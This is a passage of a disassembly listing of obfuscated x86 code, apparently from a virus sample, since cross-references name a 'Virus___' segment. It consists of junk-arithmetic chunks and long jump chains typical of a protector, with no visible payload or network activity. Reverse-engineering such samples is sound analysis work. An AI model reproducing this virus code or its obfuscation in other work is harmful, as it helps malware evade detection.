dl, bh pop ebx xor dl, 5Ah jmp loc_5491D0 ; --------------------------------------------------------------------------- loc_544718: ; CODE XREF: sub_545A2B-D34j mov ah, 8Fh jmp loc_545F00 ; --------------------------------------------------------------------------- loc_54471F: ; CODE XREF: sub_545A2B-1256j push ecx mov cl, 15h and cl, 3Eh push eax mov al, 0D9h shl al, 4 sub al, 4Dh jmp loc_54A276 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54CF49 loc_544732: ; CODE XREF: sub_54CF49-8365j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0Ch+var_C] pop esp add esi, 4 add esi, 2 jmp loc_54C085 ; END OF FUNCTION CHUNK FOR sub_54CF49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544754: ; CODE XREF: sub_545A2B+16Bj shl edi, 4 shl edi, 8 shl edi, 5 and edi, 0FF51DC2h add edi, 0F59C0004h sub ebp, edi pop edi push ebp jmp loc_547876 ; --------------------------------------------------------------------------- loc_544772: ; CODE XREF: sub_545A2B+726Cj add esp, 4 add eax, 47F03F09h add eax, 0C066482h add eax, edi sub eax, 0C066482h jmp loc_548D89 ; --------------------------------------------------------------------------- loc_54478B: ; CODE XREF: sub_545A2B+1C97j add esp, 4 jmp loc_549902 ; --------------------------------------------------------------------------- loc_544796: ; CODE XREF: sub_545A2B+85E1j add bl, ch jmp loc_544DEF ; --------------------------------------------------------------------------- loc_54479D: ; CODE XREF: sub_545A2B+8B31j add edx, edi mov edi, [esp-3Eh+arg_3A] add esp, 4 xor edx, [esp-42h+arg_3E] jmp loc_5491FD ; --------------------------------------------------------------------------- loc_5447B0: ; CODE XREF: sub_545A2B+8FE6j shr ebp, 6 dec ebp sub ebp, 12544F7h add ebx, ebp pop ebp xchg ebx, [esp-46h+arg_42] mov esp, [esp-46h+arg_42] shr byte ptr [esp-46h+arg_42], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5447CC: ; CODE XREF: sub_545A2B+7ED4j mov [esp-42h+arg_3E], ecx sub esp, 4 mov [esp-3Eh+arg_3A], edx jmp loc_54471F ; --------------------------------------------------------------------------- loc_5447DA: ; CODE XREF: sub_545A2B+404Aj mov [esp-3Eh+arg_3A], ebx mov ebx, 19375B05h add ebx, 1 sub esp, 4 mov [esp-3Ah+arg_36], ebx not [esp-3Ah+arg_36] jmp loc_54EB5F ; --------------------------------------------------------------------------- loc_5447F6: ; CODE XREF: sub_545A2B+15B3j push 3A36h mov [esp-36h+arg_32], edx jmp loc_547DFC ; --------------------------------------------------------------------------- loc_544803: ; CODE XREF: sub_545A2B+E31j pop edx jmp loc_548102 ; --------------------------------------------------------------------------- loc_544809: ; CODE XREF: sub_545A2B+21D8j push eax mov eax, 7B6D4D24h jmp loc_54CD67 ; --------------------------------------------------------------------------- loc_544814: ; CODE XREF: sub_545A2B-2A31j push 28h push [esp+0Eh+var_10+2] pop edx jmp loc_54C352 ; --------------------------------------------------------------------------- loc_544822: ; CODE XREF: sub_545A2B-302j add esp, 4 add edx, 2 xchg edx, [esp+0Ah+var_C+2] pop esp shr [esp+6+var_8+2], cl pushf jmp loc_54C4C5 ; --------------------------------------------------------------------------- loc_544838: ; CODE XREF: sub_545A2B+338Fj mov ah, 0E1h push ebx mov bl, ah inc bl mov ah, bl pop ebx inc ah jmp loc_549811 ; --------------------------------------------------------------------------- loc_544849: ; CODE XREF: sub_545A2B-25B4j pop edx xchg ebp, [esp-30h+arg_2A+2] pop esp sub esp, 4 jmp loc_54E5FC ; --------------------------------------------------------------------------- loc_544856: ; CODE XREF: sub_545A2B-2A1j pop edx mov ecx, ebp pop ebp jmp loc_544391 ; --------------------------------------------------------------------------- loc_54485F: ; CODE XREF: sub_545A2B+ACBj pop ebp jmp loc_5481F4 ; --------------------------------------------------------------------------- loc_544865: ; CODE XREF: sub_545A2B+59E7j mov ah, 9Fh jmp loc_546861 ; --------------------------------------------------------------------------- loc_54486C: ; CODE XREF: sub_545A2B+35BBj movzx eax, al jmp loc_54A6F9 ; --------------------------------------------------------------------------- loc_544874: ; CODE XREF: sub_545A2B+5D66j mov [esp-3Ch+arg_36+2], ecx mov ecx, 4A145CF2h jmp loc_54354F ; --------------------------------------------------------------------------- loc_544881: ; CODE XREF: sub_545A2B+2826j sub ecx, ebx pop ebx add ebp, ecx mov ecx, [esp-40h+arg_3A+2] add esp, 4 push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp-40h+arg_3A+2] add esp, 4 xchg ebp, [esp-44h+arg_3E+2] pop esp shl [esp-48h+arg_42+2], cl jmp loc_54B014 ; --------------------------------------------------------------------------- loc_5448AC: ; CODE XREF: sub_545A2B+447Cj add edi, edx pop edx xchg edi, [esp-4Ch+arg_46+2] pop esp push 3536h jmp loc_54BAC3 ; --------------------------------------------------------------------------- loc_5448BD: ; CODE XREF: sub_545A2B+6221j add esi, 4 add esi, 4 xchg esi, [esp-4Ch+arg_46+2] jmp loc_54909E ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E630 loc_5448CE: ; CODE XREF: sub_54E630+7j add esi, 4 sub esi, 4 jmp loc_547AC1 ; END OF FUNCTION CHUNK FOR sub_54E630 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5448DF: ; CODE XREF: sub_545A2B+29EBj add dh, 90h add al, dh mov edx, [esp-4Ch+arg_46+2] add esp, 4 jmp loc_54DB0F ; --------------------------------------------------------------------------- loc_5448EF: ; CODE XREF: sub_545A2B+28Ej add al, bh mov bx, word ptr [esp-50h+arg_4C] push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 2 xchg ebp, [esp-4Ch+arg_46+2] mov esp, [esp-4Ch+arg_46+2] push small 27DFh mov word ptr [esp-4Ah+arg_46], cx mov ch, 0Bh sub bl, ch pop cx sub bl, 6Bh jmp loc_54B350 ; --------------------------------------------------------------------------- loc_544920: ; CODE XREF: sub_545A2B+24B2j add ebp, 4 xchg ebp, [esp-4Ch+arg_46+2] pop esp sub ebx, 2DB65695h jmp loc_54D3A3 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544935: ; CODE XREF: Virus___:0054D5F0j pop ebx push 2571h mov [esp], edx mov edx, 20E20700h and edx, 17AF46BDh inc edx neg edx sub edx, 30BE2412h jmp loc_54ABB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544957: ; CODE XREF: sub_545A2B+2937j mov ecx, [esp-50h+arg_4C] add esp, 4 mov edi, [esp-54h+arg_50] add esp, 4 or [edi+1Ch], eax mov eax, [esp-58h+arg_54] add esp, 4 loc_54496F: ; CODE XREF: sub_545A2B+6203j push 485Ah jmp loc_54E5F4 ; --------------------------------------------------------------------------- loc_544979: ; CODE XREF: sub_545A2B+784Bj xor dh, 0Ch shl dh, 8 add dh, 52h add dh, 1 add dh, 6Fh xor al, dh mov edx, [esp-58h+arg_54] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-54h+arg_50] jmp loc_547246 ; --------------------------------------------------------------------------- loc_5449A1: ; CODE XREF: sub_545A2B+1266j mov ecx, 2570C6B9h add ecx, ebp pop ebp shl ecx, 7 push ebx jmp loc_54E583 ; --------------------------------------------------------------------------- loc_5449B2: ; CODE XREF: sub_545A2B+91ADj and ebx, 336C3F42h shl ebx, 8 shr ebx, 3 sub ebx, 849499DDh jmp loc_54AE68 ; --------------------------------------------------------------------------- loc_5449C9: ; CODE XREF: sub_545A2B-F44j push edi jmp loc_547A6E ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_5449CF: ; DATA XREF: Virus___:00542E14o mov cx, [esp] push 0F77h mov [esp], edx push esp pop edx jmp loc_548D5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5449E2: ; CODE XREF: sub_545A2B+469Bj dec ebx xor ebx, 8A31D23Fh mov edi, ebx pop ebx xor edi, 7D64496h not edi not edi xor edi, 3E47BDEh shl edi, 1 sub edi, 0BB7E033Ah jmp loc_54C35D ; --------------------------------------------------------------------------- loc_544A09: ; CODE XREF: sub_545A2B+947j sub ebp, 64F78CFh pop esi mov edx, ebp jmp loc_547079 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544A17: ; CODE XREF: Virus___:0054C872j mov ebp, esp push eax mov eax, 23B1835h neg eax add eax, 0F2C3825h jmp loc_54B738 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544A2B: ; CODE XREF: sub_545A2B-202j add edi, 2 xchg edi, [esp-58h+arg_54] mov esp, [esp-58h+arg_54] sub bl, al jmp loc_549F24 ; --------------------------------------------------------------------------- loc_544A3B: ; CODE XREF: sub_545A2B+31Fj mov al, dh mov dx, word ptr [esp-58h+arg_54] jmp loc_54A212 ; --------------------------------------------------------------------------- loc_544A46: ; CODE XREF: sub_545A2B+4152j xor esi, [esp-58h+arg_54] mov esp, [esp-58h+arg_54] jmp sub_54C9E5 ; --------------------------------------------------------------------------- loc_544A51: ; CODE XREF: sub_545A2B+1833j pop ecx jmp loc_546BDE ; --------------------------------------------------------------------------- loc_544A57: ; CODE XREF: sub_545A2B+4793j add ecx, 4 add ecx, 4 xchg ecx, [esp-5Ch+arg_58] pop esp push 24CCh jmp loc_54E3D3 ; --------------------------------------------------------------------------- loc_544A6E: ; CODE XREF: sub_545A2B+41B1j inc ebp push eax jmp loc_54999A ; --------------------------------------------------------------------------- loc_544A75: ; CODE XREF: sub_545A2B+68A8j mov edx, [esp-58h+arg_54] push edi mov edi, esp add edi, 4 push ebp mov ebp, 41B44EAh or ebp, 3A6A6ADFh inc ebp neg ebp xor ebp, 0C1849104h jmp loc_54C923 ; --------------------------------------------------------------------------- loc_544A9B: ; CODE XREF: sub_545A2B-803j mov ebp, ebx pop ebx push edi push 72FF61AAh pop edi xor edi, 27417338h mov edx, edi jmp loc_5439CB ; --------------------------------------------------------------------------- loc_544AB2: ; CODE XREF: sub_545A2B+66E6j mov edi, 6FF451ABh jmp loc_547980 ; --------------------------------------------------------------------------- loc_544ABC: ; CODE XREF: sub_545A2B+8B7Fj push edx mov edx, 40666F9Dh jmp loc_547A47 ; --------------------------------------------------------------------------- loc_544AC7: ; CODE XREF: sub_545A2B+1402j mov [esp-4Ch+arg_46+2], ecx push ebp push edx mov edx, 4C144D40h mov ebp, 88D35B50h sub ebp, edx pop edx jmp loc_545F6B ; --------------------------------------------------------------------------- loc_544ADE: ; CODE XREF: sub_545A2B+34F5j push eax mov eax, 4 add esi, eax pop eax jmp loc_5449C9 ; --------------------------------------------------------------------------- loc_544AEC: ; CODE XREF: sub_545A2B+4578j xor esi, [esp-48h+arg_42+2] jmp loc_54809F ; --------------------------------------------------------------------------- loc_544AF4: ; CODE XREF: sub_545A2B-25ABj xchg ecx, edi push ebx jmp loc_548000 ; --------------------------------------------------------------------------- loc_544AFC: ; CODE XREF: sub_545A2B+54B2j add ebx, 3257346Fh pop ecx push eax jmp loc_54DF64 ; --------------------------------------------------------------------------- loc_544B09: ; CODE XREF: sub_545A2B+8E90j pop edx add ebp, ebx jmp loc_54ADDE ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_544B11 proc near ; CODE XREF: sub_545A2B+4A29j push ebp mov ebp, esp push esi mov esi, 729D6B8Ch shl esi, 7 jmp loc_54A690 sub_544B11 endp ; --------------------------------------------------------------------------- loc_544B22: ; CODE XREF: Virus___:0054DF88j mov eax, 0A1039AC0h sub eax, esi pop esi jmp loc_5467DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544B2F: ; CODE XREF: sub_545A2B-1620j mov cx, word ptr [esp-1Ah+arg_16] add esp, 2 not ah xchg ah, dl push ax mov al, 92h add dl, al jmp loc_54A938 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54BA56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544B4E: ; CODE XREF: sub_545A2B+4B66j mov [esp-1Ch+arg_16+2], ecx push 75C3h mov [esp-18h+arg_12+2], ebp jmp loc_545C8D ; --------------------------------------------------------------------------- loc_544B5E: ; CODE XREF: sub_545A2B+38E0j push edi jmp loc_5457EE ; --------------------------------------------------------------------------- loc_544B64: ; CODE XREF: sub_545A2B+81BBj push [esp-14h+arg_E+2] push [esp-10h+arg_A+2] push dword ptr [esp+0] pop ebx add esp, 4 add esp, 4 sub esp, 4 mov [esp-10h+arg_A+2], esi mov esi, esp add esi, 4 jmp loc_544CFC ; --------------------------------------------------------------------------- loc_544B8D: ; CODE XREF: sub_545A2B+3BCCj pop eax push ax mov al, 0FFh sub ch, al pop ax push eax mov al, 0A4h xor ch, al mov eax, [esp-10h+arg_A+2] add esp, 4 sub al, ch mov ecx, [esp-14h+arg_E+2] push esi jmp loc_54B2D4 ; --------------------------------------------------------------------------- loc_544BAC: ; CODE XREF: sub_545A2B+4F8Cj xor ah, 0C1h jmp loc_5477C2 ; --------------------------------------------------------------------------- loc_544BB4: ; CODE XREF: sub_545A2B+97E4j jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544BB9: ; DATA XREF: Virus___:00542CE8o push dword ptr [edi+3Ch] add dword ptr [esp], 5CC06F86h push dword ptr [esp] pop eax jmp loc_549212 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544BCC: ; CODE XREF: sub_545A2B+3AECj not bh jmp loc_54A5F7 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54CF49 loc_544BD3: ; CODE XREF: sub_54CF49+19j add [esp+0Ch+var_8], ecx pop ecx push [esp+8+var_8] mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_544732 ; END OF FUNCTION CHUNK FOR sub_54CF49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544BE9: ; CODE XREF: sub_545A2B+3FE0j add esp, 4 jmp loc_547D08 ; --------------------------------------------------------------------------- loc_544BF4: ; CODE XREF: sub_545A2B+7C8Dj pop edi add edi, 4 push ecx mov ecx, 4 jmp loc_546C0D ; --------------------------------------------------------------------------- loc_544C06: ; CODE XREF: sub_545A2B+2058j not bl jmp loc_548515 ; --------------------------------------------------------------------------- loc_544C0D: ; CODE XREF: sub_545A2B+8469j add ebx, 5E7A0D44h pop esi sub edi, ebx mov ebx, [esp-18h+arg_12+2] jmp loc_54B146 ; --------------------------------------------------------------------------- loc_544C1E: ; CODE XREF: sub_545A2B+4F6Ej mov [esp-18h+arg_12+2], eax jmp loc_54651D ; --------------------------------------------------------------------------- loc_544C26: ; CODE XREF: sub_545A2B+177Bj and eax, 77C42D2Eh sub esp, 4 mov [esp-14h+arg_E+2], edi mov edi, 63842C02h xor eax, edi mov edi, [esp-14h+arg_E+2] add esp, 4 add edi, eax jmp loc_54608E ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_544C48 proc near ; CODE XREF: sub_545A2B+4DD2j ; FUNCTION CHUNK AT 0054393E SIZE 0000001A BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp sub al, dl pop edx push small 63DCh jmp loc_54393E sub_544C48 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544C64: ; CODE XREF: sub_545A2B-EEj and ebp, 4131144Fh jmp loc_54C773 ; --------------------------------------------------------------------------- loc_544C6F: ; CODE XREF: sub_545A2B+8408j mov [esp-18h+arg_12+2], ebx mov ebx, 4 add edx, ebx jmp loc_54E609 ; --------------------------------------------------------------------------- loc_544C7E: ; CODE XREF: sub_545A2B+BCBj mov ebp, 4 mov eax, ebp jmp loc_5484B9 ; --------------------------------------------------------------------------- loc_544C8A: ; CODE XREF: sub_545A2B+8CB5j mov cl, 7Fh push edx mov dh, 31h sub al, dh pop edx sub al, cl add al, 31h pop ecx jmp loc_5432BA ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EB9E loc_544C9C: ; CODE XREF: sub_54EB9E-2055j add [esp+4+var_4], 4 pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+0] mov esp, [esp+0] push ebp push 2F8E38B0h mov ebp, [esp+4+var_4] add esp, 4 push ebx mov ebx, 23372605h neg ebx push edx jmp loc_5453D3 ; END OF FUNCTION CHUNK FOR sub_54EB9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544CD0: ; CODE XREF: sub_545A2B+4A1Cj push edi mov edi, esp add edi, 4 push ebx jmp loc_54E756 ; --------------------------------------------------------------------------- loc_544CDF: ; CODE XREF: sub_545A2B+5D52j sub ecx, eax pop eax xchg ecx, [esp-18h+arg_12+2] mov esp, [esp-18h+arg_12+2] jmp loc_54AA17 ; --------------------------------------------------------------------------- loc_544CED: ; CODE XREF: sub_545A2B+3915j mov eax, [esp-18h+arg_12+2] jmp loc_54A571 ; --------------------------------------------------------------------------- loc_544CF5: ; CODE XREF: sub_545A2B+12E7j push ax jmp loc_544718 ; --------------------------------------------------------------------------- loc_544CFC: ; CODE XREF: sub_545A2B-EA3j push 71A0h mov [esp+0], eax mov eax, 4 add esi, eax pop eax jmp loc_54F24D ; --------------------------------------------------------------------------- loc_544D11: ; CODE XREF: sub_545A2B+6AEBj pop esp add ebx, 310D70C6h add ebx, 6EF02362h sub ebx, 55D47F74h sub ebx, eax push esi mov esi, 55D47F74h add ebx, esi pop esi push edx mov edx, 6EF02362h jmp loc_54CDFA ; --------------------------------------------------------------------------- loc_544D3A: ; CODE XREF: sub_545A2B-22D6j xor ecx, edx pop edx shl ecx, 8 jmp loc_545942 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544D45: ; CODE XREF: Virus___:005433DCj mov edx, 5E1E14A3h xor edx, 66452F7Ch or edx, 56F749AEh xor edx, 7EFF7BFBh add ebx, edx pop edx push eax mov eax, 4 add ebx, 219B504Ah add ebx, 112F1D37h add ebx, eax push ebp jmp loc_54B898 ; --------------------------------------------------------------------------- loc_544D79: ; CODE XREF: Virus___:00544438j pop esi add esi, edx mov edx, [esp] add esp, 4 add esi, 2 jmp loc_54850B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544D90: ; CODE XREF: sub_545A2B+8454j add edx, 3B9E631Eh add edx, edi push edi push 3B9E631Eh pop edi sub edx, edi push [esp-12h+arg_E] jmp loc_5490BC ; --------------------------------------------------------------------------- loc_544DA9: ; CODE XREF: sub_545A2B+5391j pop ecx jmp loc_54AAAB ; --------------------------------------------------------------------------- loc_544DAF: ; CODE XREF: sub_545A2B+4807j xchg esi, [esp-12h+arg_E] jmp loc_54CCD0 ; --------------------------------------------------------------------------- loc_544DB7: ; CODE XREF: sub_545A2B-457j mov ebx, 4A3C2B48h xor ebx, 0FFF9FB3Ah jmp loc_54C0AC ; --------------------------------------------------------------------------- loc_544DC7: ; CODE XREF: sub_545A2B+6872j mov eax, esp push edi mov edi, 7B5022FBh sub edi, 6BBA5238h or edi, 754B215Dh push ebx jmp loc_54D517 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D650 loc_544DE1: ; CODE XREF: sub_54D650+11j add esi, 4 xchg esi, [esp+0Ch+var_C] jmp loc_543910 ; END OF FUNCTION CHUNK FOR sub_54D650 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544DEF: ; CODE XREF: sub_545A2B-1293j push [esp-3Eh+arg_3A] pop ecx add esp, 4 jmp loc_54765B ; --------------------------------------------------------------------------- loc_544DFE: ; CODE XREF: sub_545A2B+926Aj mov [esp-42h+arg_3E], esp add [esp-42h+arg_3E], 4 push [esp-42h+arg_3E] pop eax add esp, 4 push edx mov edx, 4 jmp loc_54E970 ; --------------------------------------------------------------------------- loc_544E1D: ; CODE XREF: sub_545A2B-2345j add ebx, 404F93BFh sub eax, 2433302Ch sub eax, ebx sub esp, 4 jmp loc_548FDD ; --------------------------------------------------------------------------- loc_544E35: ; CODE XREF: sub_545A2B+2656j shr ch, 3 jmp loc_5461DD ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E287 loc_544E3D: ; CODE XREF: sub_54E287+13j pop ecx jmp loc_54DDC3 ; END OF FUNCTION CHUNK FOR sub_54E287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544E43: ; CODE XREF: sub_545A2B+4DDCj pop esi pop [esp-12h+arg_E] jmp loc_54B6D6 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_544E4C proc near ; CODE XREF: sub_545A2B+64B0j var_8 = dword ptr -8 push ebx sub esp, 4 mov [esp+8+var_8], eax mov al, 2Ch jmp loc_54A8E1 sub_544E4C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544E5A: ; CODE XREF: sub_545A2B+965Ej add esp, 4 mov ebp, [esp-1Ah+arg_16] push ebp mov ebp, esp jmp loc_547ED7 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544E68: ; CODE XREF: Virus___:0054EFBDj push edi push eax mov eax, esp push 42FEh mov [esp], edx mov edx, 566F0BC4h inc edx or edx, 39F7046Dh sub edx, 7FFF0FE9h jmp loc_54920B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544E8B: ; CODE XREF: sub_545A2B+510Cj add edi, 2 xor edi, [esp-16h+arg_12] xor [esp-16h+arg_12], edi xor edi, [esp-16h+arg_12] pop esp inc byte ptr [esp-1Ah+arg_16] pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_544EA1: ; CODE XREF: sub_545A2B+6434j mov ebp, 11A05843h and edx, ebp pop ebp and edx, 1F8F67EBh push eax jmp loc_5443A1 ; --------------------------------------------------------------------------- loc_544EB5: ; CODE XREF: sub_545A2B+805Cj mov ecx, 2 sub esi, 34C60437h add esi, ecx sub esp, 4 mov [esp-12h+arg_E], ebp mov ebp, 34C60437h add esi, ebp pop ebp mov ecx, [esp-16h+arg_12] add esp, 4 xchg esi, [esp-1Ah+arg_16] pop esp mov ax, word ptr [esp-1Eh+arg_1A] push ecx push esp pop ecx push esi jmp loc_54384D ; --------------------------------------------------------------------------- loc_544EE7: ; CODE XREF: sub_545A2B+540Cj mov [esp-16h+arg_12], eax mov ah, 94h mov bl, 25h xor bl, ah pop eax sub bl, 0A1h jmp loc_54A2AC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5451FD loc_544EF9: ; CODE XREF: sub_5451FD+21j xor ebx, 77CAB4FFh add edi, ebx pop ebx sub edi, 4 xchg edi, [esp-4+arg_0] pop esp jmp loc_548942 ; END OF FUNCTION CHUNK FOR sub_5451FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544F0E: ; CODE XREF: sub_545A2B+5058j shl cl, 2 not cl xor cl, 8Bh sub cl, 8Ch add bl, cl pop ecx movzx eax, al push small 1F3Ch mov word ptr [esp-1Ch+arg_16+2], ax jmp loc_543493 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544F2C: ; CODE XREF: Virus___:00543C8Dj mov [esp], ebp mov ebp, 400h or [edi+1Ch], ebp jmp loc_54F1CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544F3C: ; CODE XREF: sub_545A2B+6E2Ej push eax jmp loc_5497D8 ; --------------------------------------------------------------------------- loc_544F42: ; CODE XREF: sub_545A2B+401j pop edx push edi pop esi pop edi sub eax, 0DC86102h jmp loc_547E06 ; --------------------------------------------------------------------------- loc_544F50: ; CODE XREF: sub_545A2B-7B7j mov [esp-20h+arg_1A+2], ebx mov ebx, 4EE345B0h push ecx jmp loc_5435B1 ; --------------------------------------------------------------------------- loc_544F5E: ; CODE XREF: sub_545A2B+37Aj shr dh, 2 jmp loc_54E095 ; --------------------------------------------------------------------------- loc_544F66: ; CODE XREF: sub_545A2B+8E62j add eax, 4 jmp loc_545F86 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_544F70 proc near ; CODE XREF: sub_545A2B+1773j push ebx mov ebx, 0DA357876h sub ebp, ebx pop ebx jmp loc_54B748 sub_544F70 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_544F7E: ; CODE XREF: sub_543A46+A314j mov esi, esp push ebx push eax mov eax, 1A2C50F3h mov ebx, eax pop eax shr ebx, 5 and ebx, 55371FF1h dec ebx xor ebx, 110284h add esi, ebx pop ebx jmp loc_54A162 ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544FA2: ; CODE XREF: sub_545A2B-576j push eax mov al, bl mov cl, al pop eax jmp loc_54AA7F ; --------------------------------------------------------------------------- loc_544FAD: ; CODE XREF: sub_545A2B+75D8j mov ebp, edx pop edx dec ebp jmp loc_54B6B1 ; --------------------------------------------------------------------------- loc_544FB6: ; CODE XREF: sub_545A2B+4EDj mov edi, 4E862C1Fh push 14E7h mov [esp-1Ch+arg_16+2], edi jmp loc_54CD29 ; --------------------------------------------------------------------------- loc_544FC8: ; CODE XREF: sub_545A2B+6582j add [edx], ebp pop edx pop eax mov ebp, [esp-24h+arg_1E+2] add esp, 4 jmp loc_549FCF ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544FD7: ; CODE XREF: Virus___:00543B1Dj mov ecx, esp push 3911h mov [esp], edx jmp loc_54995C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544FE6: ; CODE XREF: sub_545A2B+5ACFj add ecx, 4 push eax jmp loc_54CB04 ; --------------------------------------------------------------------------- loc_544FF2: ; CODE XREF: sub_545A2B+1F61j sub [esp-24h+arg_1E+2], edi sub [esp-24h+arg_1E+2], 2C9506E4h pop edi jmp loc_54C5F9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_545002 proc near ; CODE XREF: sub_545A2B-2725j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0054CCD6 SIZE 00000038 BYTES push ebx push 47A0h mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ebx, [esp+8+var_8] add esp, 4 push 2DA6h jmp loc_54CCD6 sub_545002 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_545022: ; CODE XREF: sub_545A2B+34D3j pop ebx push ecx push esi mov esi, 4D240E51h jmp loc_54F10C ; --------------------------------------------------------------------------- loc_54502F: ; CODE XREF: sub_545A2B+69D2j add dh, 18h xor dh, 45h add dh, 53h add bl, 0FCh add bl, dh push eax mov ah, 0DDh xor ah, 21h sub bl, ah jmp loc_5478F4 ; --------------------------------------------------------------------------- loc_54504A: ; CODE XREF: sub_545A2B-207Cj add [esp-40h+arg_42+2], edx add [esp-40h+arg_42+2], 37AD39EAh sub [esp-40h+arg_42+2], 459B4C19h pop edx jmp loc_547487 ; --------------------------------------------------------------------------- loc_545064: ; CODE XREF: sub_545A2B+23D6j add esi, 4BFB04BDh sub esi, edx sub esi, 4BFB04BDh pop edx push esi push [esp-44h+arg_42+2] pop esi jmp loc_54754B ; --------------------------------------------------------------------------- loc_54507E: ; CODE XREF: sub_545A2B+6D68j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] push edi mov edi, 76D302Dh push eax mov eax, 203839C4h shl eax, 7 jmp loc_54511C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54C9ED loc_5450A3: ; CODE XREF: sub_54C9ED+Aj add cl, 0C2h jmp loc_54E1BC ; END OF FUNCTION CHUNK FOR sub_54C9ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5450AB: ; CODE XREF: sub_545A2B+5F65j add eax, 59244E49h add edi, eax pop eax xor edi, [esp-40h+arg_3A+2] xor [esp-40h+arg_3A+2], edi xor edi, [esp-40h+arg_3A+2] jmp loc_545B9B ; --------------------------------------------------------------------------- loc_5450C1: ; CODE XREF: sub_545A2B+187Fj pop ecx add esp, 4 add ebx, 4 xchg ebx, [esp-48h+arg_42+2] pop esp cmp ecx, eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5450D7: ; CODE XREF: sub_545A2B+8411j add esp, 4 add ebp, 4 sub ebp, 4 xchg ebp, [esp-4Ch+arg_46+2] mov esp, [esp-4Ch+arg_46+2] jmp loc_54D0D8 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543268 loc_5450F1: ; CODE XREF: 